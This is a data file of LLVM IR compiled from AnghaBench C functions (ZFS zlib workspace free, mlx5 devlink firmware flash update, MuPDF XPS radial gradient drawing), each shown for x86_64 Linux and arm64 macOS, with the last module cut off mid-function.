; ModuleID = 'AnghaBench/zfs/module/os/linux/spl/extr_spl-zlib.c_zlib_workspace_free.c' source_filename = "AnghaBench/zfs/module/os/linux/spl/extr_spl-zlib.c_zlib_workspace_free.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @zlib_workspace_cache = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @zlib_workspace_free], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @zlib_workspace_free(ptr noundef %0) #0 { %2 = load i32, ptr @zlib_workspace_cache, align 4, !tbaa !5 %3 = tail call i32 @kmem_cache_free(i32 noundef %2, ptr noundef %0) #2 ret void } declare i32 @kmem_cache_free(i32 noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/zfs/module/os/linux/spl/extr_spl-zlib.c_zlib_workspace_free.c' source_filename = "AnghaBench/zfs/module/os/linux/spl/extr_spl-zlib.c_zlib_workspace_free.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @zlib_workspace_cache = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @zlib_workspace_free], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @zlib_workspace_free(ptr noundef %0) #0 { %2 = load i32, ptr @zlib_workspace_cache, align 4, !tbaa !6 %3 = tail call i32 @kmem_cache_free(i32 noundef %2, ptr noundef %0) #2 ret void } declare i32 @kmem_cache_free(i32 noundef, ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
zfs_module_os_linux_spl_extr_spl-zlib.c_zlib_workspace_free
; ModuleID = 'AnghaBench/linux/drivers/net/ethernet/mellanox/mlx5/core/extr_devlink.c_mlx5_devlink_flash_update.c' source_filename = "AnghaBench/linux/drivers/net/ethernet/mellanox/mlx5/core/extr_devlink.c_mlx5_devlink_flash_update.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @EOPNOTSUPP = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @mlx5_devlink_flash_update], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal i32 @mlx5_devlink_flash_update(ptr noundef %0, ptr noundef %1, ptr noundef readnone %2, ptr noundef %3) #0 { %5 = alloca ptr, align 8 %6 = tail call ptr @devlink_priv(ptr noundef %0) #3 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %5) #3 %7 = icmp eq ptr %2, null br i1 %7, label %11, label %8 8: ; preds = %4 %9 = load i32, ptr @EOPNOTSUPP, align 4, !tbaa !5 %10 = sub nsw i32 0, %9 br label %18 11: ; preds = %4 %12 = load ptr, ptr %6, align 8, !tbaa !9 %13 = call i32 @request_firmware_direct(ptr noundef nonnull %5, ptr noundef %1, ptr noundef %12) #3 %14 = icmp eq i32 %13, 0 br i1 %14, label %15, label %18 15: ; preds = %11 %16 = load ptr, ptr %5, align 8, !tbaa !12 %17 = call i32 @mlx5_firmware_flash(ptr noundef nonnull %6, ptr noundef %16, ptr noundef %3) #3 br label %18 18: ; preds = %11, %15, %8 %19 = phi i32 [ %10, %8 ], [ %17, %15 ], [ %13, %11 ] call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %5) #3 ret i32 %19 } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare ptr @devlink_priv(ptr noundef) local_unnamed_addr #2 declare i32 @request_firmware_direct(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @mlx5_firmware_flash(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !11, i64 0} !10 = !{!"mlx5_core_dev", !11, i64 0} !11 = !{!"any pointer", !7, i64 0} !12 = !{!11, !11, i64 0}
; ModuleID = 'AnghaBench/linux/drivers/net/ethernet/mellanox/mlx5/core/extr_devlink.c_mlx5_devlink_flash_update.c' source_filename = "AnghaBench/linux/drivers/net/ethernet/mellanox/mlx5/core/extr_devlink.c_mlx5_devlink_flash_update.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @EOPNOTSUPP = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @mlx5_devlink_flash_update], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal i32 @mlx5_devlink_flash_update(ptr noundef %0, ptr noundef %1, ptr noundef readnone %2, ptr noundef %3) #0 { %5 = alloca ptr, align 8 %6 = tail call ptr @devlink_priv(ptr noundef %0) #3 call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %5) #3 %7 = icmp eq ptr %2, null br i1 %7, label %11, label %8 8: ; preds = %4 %9 = load i32, ptr @EOPNOTSUPP, align 4, !tbaa !6 %10 = sub nsw i32 0, %9 br label %18 11: ; preds = %4 %12 = load ptr, ptr %6, align 8, !tbaa !10 %13 = call i32 @request_firmware_direct(ptr noundef nonnull %5, ptr noundef %1, ptr noundef %12) #3 %14 = icmp eq i32 %13, 0 br i1 %14, label %15, label %18 15: ; preds = %11 %16 = load ptr, ptr %5, align 8, !tbaa !13 %17 = call i32 @mlx5_firmware_flash(ptr noundef nonnull %6, ptr noundef %16, ptr noundef %3) #3 br label %18 18: ; preds = %11, %15, %8 %19 = phi i32 [ %10, %8 ], [ %17, %15 ], [ %13, %11 ] call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %5) #3 ret i32 %19 } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare ptr @devlink_priv(ptr noundef) local_unnamed_addr #2 declare i32 @request_firmware_direct(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @mlx5_firmware_flash(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !12, i64 0} !11 = !{!"mlx5_core_dev", !12, i64 0} !12 = !{!"any pointer", !8, i64 0} !13 = !{!12, !12, i64 0}
linux_drivers_net_ethernet_mellanox_mlx5_core_extr_devlink.c_mlx5_devlink_flash_update
; ModuleID = 'AnghaBench/sumatrapdf/mupdf/source/xps/extr_xps-gradient.c_xps_draw_radial_gradient.c' source_filename = "AnghaBench/sumatrapdf/mupdf/source/xps/extr_xps-gradient.c_xps_draw_radial_gradient.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @.str = private unnamed_addr constant [7 x i8] c"Center\00", align 1 @.str.1 = private unnamed_addr constant [15 x i8] c"GradientOrigin\00", align 1 @.str.2 = private unnamed_addr constant [8 x i8] c"RadiusX\00", align 1 @.str.3 = private unnamed_addr constant [8 x i8] c"RadiusY\00", align 1 @FLT_EPSILON = dso_local local_unnamed_addr global i64 0, align 8 @SPREAD_REPEAT = dso_local local_unnamed_addr global i32 0, align 4 @SPREAD_REFLECT = dso_local local_unnamed_addr global i32 0, align 4 @llvm.compiler.used = appending global [1 x ptr] [ptr @xps_draw_radial_gradient], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @xps_draw_radial_gradient(ptr noundef %0, ptr noundef %1, i32 noundef %2, <2 x float> %3, <2 x float> %4, ptr noundef %5, i32 noundef %6, ptr noundef %7, i32 noundef %8) #0 { %10 = alloca float, align 4 %11 = alloca float, align 4 %12 = alloca float, align 4 %13 = alloca float, align 4 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %10) #5 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %11) #5 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %12) #5 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %13) #5 %14 = tail call ptr @fz_xml_att(ptr noundef %7, ptr noundef nonnull @.str) #5 %15 = tail call ptr @fz_xml_att(ptr noundef %7, ptr noundef nonnull @.str.1) #5 %16 = tail call ptr @fz_xml_att(ptr noundef %7, ptr noundef nonnull @.str.2) #5 %17 = tail call ptr @fz_xml_att(ptr noundef %7, ptr noundef nonnull @.str.3) #5 store float 0.000000e+00, ptr %11, align 4, !tbaa !5 store float 0.000000e+00, ptr %10, align 4, !tbaa !5 store float 1.000000e+00, ptr %13, align 4, !tbaa !5 store float 1.000000e+00, ptr %12, align 4, !tbaa !5 %18 = icmp eq ptr %15, null br i1 %18, label %21, label %19 19: ; preds = %9 %20 = call i32 @xps_parse_point(ptr noundef %0, ptr noundef %1, ptr noundef nonnull %15, ptr noundef nonnull %10, ptr noundef nonnull %11) #5 br label %21 21: ; preds = %19, %9 %22 = icmp eq ptr %14, null br i1 %22, label %25, label %23 23: ; preds = %21 %24 = call i32 @xps_parse_point(ptr noundef %0, ptr noundef %1, ptr noundef nonnull %14, ptr noundef nonnull %12, ptr noundef nonnull %13) #5 br label %25 25: ; preds = %23, %21 %26 = icmp eq ptr %16, null br i1 %26, label %29, label %27 27: ; preds = %25 %28 = call float @fz_atof(ptr noundef nonnull %16) #5 br label %29 29: ; preds = %27, %25 %30 = phi float [ %28, %27 ], [ 1.000000e+00, %25 ] %31 = icmp eq ptr %17, null br i1 %31, label %34, label %32 32: ; preds = %29 %33 = call float @fz_atof(ptr noundef nonnull %17) #5 br label %34 34: ; preds = %32, %29 %35 = phi float [ %33, %32 ], [ 1.000000e+00, %29 ] %36 = call float @fz_max(float noundef 0x3F847AE140000000, float noundef %30) #5 %37 = call float @fz_max(float noundef 0x3F847AE140000000, float noundef %35) #5 %38 = call i64 @fz_abs(float noundef %36) #5 %39 = load i64, ptr @FLT_EPSILON, align 8, !tbaa !9 %40 = icmp sgt i64 %38, %39 br i1 %40, label %41, label %44 41: ; preds = %34 %42 = fdiv float %37, %36 %43 = call i32 @fz_pre_scale(i32 noundef %2, i32 noundef 1, float noundef %42) #5 br label %44 44: ; preds = %41, %34 %45 = phi i32 [ %43, %41 ], [ %2, %34 ] %46 = fcmp une float %37, 0.000000e+00 br i1 %46, label %47, label %53 47: ; preds = %44 %48 = fdiv float %36, %37 %49 = load float, ptr %11, align 4, !tbaa !5 %50 = fmul float %48, %49 store float %50, ptr %11, align 4, !tbaa !5 %51 = load float, ptr %13, align 4, !tbaa !5 %52 = fmul float %48, %51 store float %52, ptr %13, align 4, !tbaa !5 br label %53 53: ; preds = %47, %44 %54 = call i32 @fz_invert_matrix(i32 noundef %45) #5 %55 = call { <2 x float>, <2 x float> } @fz_transform_rect(<2 x float> %3, <2 x float> %4, i32 noundef %54) #5 %56 = extractvalue { <2 x float>, <2 x float> } %55, 0 %57 = extractvalue { <2 x float>, <2 x float> } %55, 1 %58 = extractelement <2 x float> %56, i64 0 %59 = load float, ptr %10, align 4, !tbaa !5 %60 = fsub float %58, %59 %61 = extractelement <2 x float> %56, i64 1 %62 = load float, ptr %11, align 4, !tbaa !5 %63 = fsub float %61, %62 %64 = call float @hypotf(float noundef %60, float noundef %63) #5 %65 = fdiv float %64, %36 %66 = call i32 @ceilf(float noundef %65) #5 %67 = call i32 @fz_maxi(i32 noundef 1, i32 noundef %66) #5 %68 = extractelement <2 x float> %57, i64 0 %69 = load float, ptr %10, align 4, !tbaa !5 %70 = fsub float %68, %69 %71 = load float, ptr %11, align 4, !tbaa !5 %72 = fsub float %61, %71 %73 = call float @hypotf(float noundef %70, float noundef %72) #5 %74 = fdiv float %73, %36 %75 = call i32 @ceilf(float noundef %74) #5 %76 = call i32 @fz_maxi(i32 noundef %67, i32 noundef %75) #5 %77 = load float, ptr %10, align 4, !tbaa !5 %78 = fsub float %58, %77 %79 = extractelement <2 x float> %57, i64 1 %80 = load float, ptr %11, align 4, !tbaa !5 %81 = fsub float %79, %80 %82 = call float @hypotf(float noundef %78, float noundef %81) #5 %83 = fdiv float %82, %36 %84 = call i32 @ceilf(float noundef %83) #5 %85 = call i32 @fz_maxi(i32 noundef %76, i32 noundef %84) #5 %86 = load float, ptr %10, align 4, !tbaa !5 %87 = fsub float %68, %86 %88 = load float, ptr %11, align 4, !tbaa !5 %89 = fsub float %79, %88 %90 = call float @hypotf(float noundef %87, float noundef %89) #5 %91 = fdiv float %90, %36 %92 = call i32 @ceilf(float noundef %91) #5 %93 = call i32 @fz_maxi(i32 noundef %85, i32 noundef %92) #5 %94 = load i32, ptr @SPREAD_REPEAT, align 4, !tbaa !11 %95 = icmp eq i32 %94, %8 br i1 %95, label %96, label %110 96: ; preds = %53 %97 = icmp sgt i32 %93, 0 br i1 %97, label %98, label %142 98: ; preds = %96, %98 %99 = phi i32 [ %100, %98 ], [ %93, %96 ] %100 = add nsw i32 %99, -1 %101 = load float, ptr %10, align 4, !tbaa !5 %102 = load float, ptr %11, align 4, !tbaa !5 %103 = sitofp i32 %100 to float %104 = call float @llvm.fmuladd.f32(float %103, float %36, float 0.000000e+00) %105 = load float, ptr %12, align 4, !tbaa !5 %106 = load float, ptr %13, align 4, !tbaa !5 %107 = call float @llvm.fmuladd.f32(float %103, float %36, float %36) %108 = call i32 @xps_draw_one_radial_gradient(ptr noundef %0, ptr noundef %1, i32 noundef %45, ptr noundef %5, i32 noundef %6, i32 noundef 0, float noundef %101, float noundef %102, float noundef %104, float noundef %105, float noundef %106, float noundef %107) #5 %109 = icmp ugt i32 %99, 1 br i1 %109, label %98, label %142, !llvm.loop !13 110: ; preds = %53 %111 = load i32, ptr @SPREAD_REFLECT, align 4, !tbaa !11 %112 = icmp eq i32 %111, %8 br i1 %112, label %113, label %136 113: ; preds = %110 %114 = and i32 %93, 1 %115 = add i32 %114, %93 %116 = icmp sgt i32 %115, 1 br i1 %116, label %117, label %142 117: ; preds = %113, %117 %118 = phi i32 [ %119, %117 ], [ %115, %113 ] %119 = add nsw i32 %118, -2 %120 = load float, ptr %10, align 4, !tbaa !5 %121 = load float, ptr %11, align 4, !tbaa !5 %122 = sitofp i32 %119 to float %123 = call float @llvm.fmuladd.f32(float %122, float %36, float 0.000000e+00) %124 = load float, ptr %12, align 4, !tbaa !5 %125 = load float, ptr %13, align 4, !tbaa !5 %126 = call float @llvm.fmuladd.f32(float %122, float %36, float %36) %127 = call i32 @xps_draw_one_radial_gradient(ptr noundef %0, ptr noundef %1, i32 noundef %45, ptr noundef %5, i32 noundef %6, i32 noundef 0, float noundef %120, float noundef %121, float noundef %123, float noundef %124, float noundef %125, float noundef %126) #5 %128 = load float, ptr %10, align 4, !tbaa !5 %129 = load float, ptr %11, align 4, !tbaa !5 %130 = sitofp i32 %118 to float %131 = call float @llvm.fmuladd.f32(float %130, float %36, float 0.000000e+00) %132 = load float, ptr %12, align 4, !tbaa !5 %133 = load float, ptr %13, align 4, !tbaa !5 %134 = call i32 @xps_draw_one_radial_gradient(ptr noundef %0, ptr noundef %1, i32 noundef %45, ptr noundef %5, i32 noundef %6, i32 noundef 0, float noundef %128, float noundef %129, float noundef %131, float noundef %132, float noundef %133, float noundef %126) #5 %135 = icmp ugt i32 %118, 3 br i1 %135, label %117, label %142, !llvm.loop !15 136: ; preds = %110 %137 = load float, ptr %10, align 4, !tbaa !5 %138 = load float, ptr %11, align 4, !tbaa !5 %139 = load float, ptr %12, align 4, !tbaa !5 %140 = load float, ptr %13, align 4, !tbaa !5 %141 = call i32 @xps_draw_one_radial_gradient(ptr noundef %0, ptr noundef %1, i32 noundef %45, ptr noundef %5, i32 noundef %6, i32 noundef 1, float noundef %137, float noundef %138, float noundef 0.000000e+00, float noundef %139, float noundef %140, float noundef %36) #5 br label %142 142: ; preds = %117, %98, %113, %96, %136 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %13) #5 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %12) #5 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %11) #5 call void @llvm.lifetime.end.p0(i64 4, ptr nonnull %10) #5 ret void } ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #1 declare ptr @fz_xml_att(ptr noundef, ptr noundef) local_unnamed_addr #2 declare i32 @xps_parse_point(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #2 declare float @fz_atof(ptr noundef) local_unnamed_addr #2 declare float @fz_max(float noundef, float noundef) local_unnamed_addr #2 declare i64 @fz_abs(float noundef) local_unnamed_addr #2 declare i32 @fz_pre_scale(i32 noundef, i32 noundef, float noundef) local_unnamed_addr #2 declare i32 @fz_invert_matrix(i32 noundef) local_unnamed_addr #2 declare { <2 x float>, <2 x float> } @fz_transform_rect(<2 x float>, <2 x float>, i32 noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #1 declare i32 @fz_maxi(i32 noundef, i32 noundef) local_unnamed_addr #2 declare i32 @ceilf(float noundef) local_unnamed_addr #2 ; Function Attrs: nounwind declare float @hypotf(float noundef, float noundef) local_unnamed_addr #3 declare i32 @xps_draw_one_radial_gradient(ptr noundef, ptr noundef, i32 noundef, ptr noundef, i32 noundef, i32 noundef, float noundef, float noundef, float noundef, float noundef, float noundef, float noundef) local_unnamed_addr #2 ; Function Attrs: mustprogress nocallback nofree nosync nounwind speculatable willreturn memory(none) declare float @llvm.fmuladd.f32(float, float, float) #4 attributes #0 = { nounwind uwtable "min-legal-vector-width"="64" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) } attributes #2 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #4 = { mustprogress nocallback nofree nosync nounwind speculatable willreturn memory(none) } attributes #5 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"float", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !10, i64 0} !10 = !{!"long", !7, i64 0} !11 = !{!12, !12, i64 0} !12 = !{!"int", !7, i64 0} !13 = distinct !{!13, !14} !14 = !{!"llvm.loop.mustprogress"} !15 = distinct !{!15, !14}
; ModuleID = 'AnghaBench/sumatrapdf/mupdf/source/xps/extr_xps-gradient.c_xps_draw_radial_gradient.c' source_filename = "AnghaBench/sumatrapdf/mupdf/source/xps/extr_xps-gradient.c_xps_draw_radial_gradient.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" %struct.TYPE_5__ = type { float, float, float, float } @.str = private unnamed_addr constant [7 x i8] c"Center\00", align 1 @.str.1 = private unnamed_addr constant [15 x i8] c"GradientOrigin\00", align 1 @.str.2 = private unnamed_addr constant [8 x i8] c"RadiusX\00", align 1 @.str.3 = private unnamed_addr constant [8 x i8] c"RadiusY\00", align 1 @FLT_EPSILON = common local_unnamed_addr global i64 0, align 8 @SPREAD_REPEAT = common local_unnamed_addr global i32 0, align 4 @SPREAD_REFLECT = common local_unnamed_addr global i32 0, align 4 @llvm.used = appending global [1 x ptr] [ptr @xps_draw_radial_gradient], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @xps_draw_radial_gradient(ptr noundef %0, ptr noundef %1, i32 noundef %2, [4 x float] %3, ptr noundef %4, i32 noundef %5, ptr noundef %6, i32 noundef %7) #0 { %9 = alloca float, align 4 %10 = alloca float, align 4 %11 = alloca float, align 4 %12 = alloca float, align 4 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %9) #5 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %10) #5 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %11) #5 call void @llvm.lifetime.start.p0(i64 4, ptr nonnull %12) #5 %13 = tail call ptr @fz_xml_att(ptr noundef %6, ptr noundef nonnull @.str) #5 %14 = tail call ptr @fz_xml_att(ptr noundef %6, ptr noundef nonnull @.str.1) #5 %15 = tail call ptr @fz_xml_att(ptr noundef %6, ptr noundef nonnull @.str.2) #5 %16 = tail call ptr @fz_xml_att(ptr noundef %6, ptr noundef nonnull @.str.3) #5 store float 0.000000e+00, ptr %10, align 4, !tbaa !6 store float 0.000000e+00, ptr %9, align 4, !tbaa !6 store float 1.000000e+00, ptr %12, align 4, !tbaa !6 store float 1.000000e+00, ptr %11, align 4, !tbaa !6 %17 = icmp eq ptr %14, null br i1 %17, label %20, label %18 18: ; preds = %8 %19 = call i32 @xps_parse_point(ptr noundef %0, ptr noundef %1, ptr noundef nonnull %14, ptr noundef nonnull %9, ptr noundef nonnull %10) #5 br label %20 20: ; preds = %18, %8 %21 = icmp eq ptr %13, null br i1 %21, label %24, label %22 22: ; preds = %20 %23 = call i32 @xps_parse_point(ptr noundef %0, ptr noundef %1, ptr noundef nonnull %13, ptr noundef nonnull %11, ptr noundef nonnull %12) #5 br label %24 24: ; preds = %22, %20 %25 = icmp eq ptr %15, null br i1 %25, label %28, label %26 26: ; preds = %24 %27 = call float @fz_atof(ptr noundef nonnull %15) #5 br label %28 28: ; preds = %26, %24 %29 = phi float [ %27, %26 ], [ 1.000000e+00, %24 ] %30 = icmp eq ptr %16, null br i1 %30, label %33, label %31 31: ; preds = %28 %32 = call float @fz_atof(ptr noundef nonnull %16) #5 br label %33 33: ; preds = %31, %28 %34 = phi float [ %32, %31 ], [ 1.000000e+00, %28 ] %35 = call float @fz_max(float noundef 0x3F847AE140000000, float noundef %29) #5 %36 = call float @fz_max(float noundef 0x3F847AE140000000, float noundef %34) #5 %37 = call i64 @fz_abs(float noundef %35) #5 %38 = load i64, ptr @FLT_EPSILON, align 8, !tbaa !10 %39 = icmp sgt i64 %37, %38 br i1 %39, label %40, label %43 40: ; preds = %33 %41 = fdiv float %36, %35 %42 = call i32 @fz_pre_scale(i32 noundef %2, i32 noundef 1, float noundef %41) #5 br label %43 43: ; preds = %40, %33 %44 = phi i32 [ %42, %40 ], [ %2, %33 ] %45 = fcmp une float %36, 0.000000e+00 br i1 %45, label %46, label %52 46: ; preds = %43 %47 = fdiv float %35, %36 %48 = load float, ptr %10, align 4, !tbaa !6 %49 = fmul float %47, %48 store float %49, ptr %10, align 4, !tbaa !6 %50 = load float, ptr %12, align 4, !tbaa !6 %51 = fmul float %47, %50 store float %51, ptr %12, align 4, !tbaa !6 br label %52 52: ; preds = %46, %43 %53 = call i32 @fz_invert_matrix(i32 noundef %44) #5 %54 = call %struct.TYPE_5__ @fz_transform_rect([4 x float] %3, i32 noundef 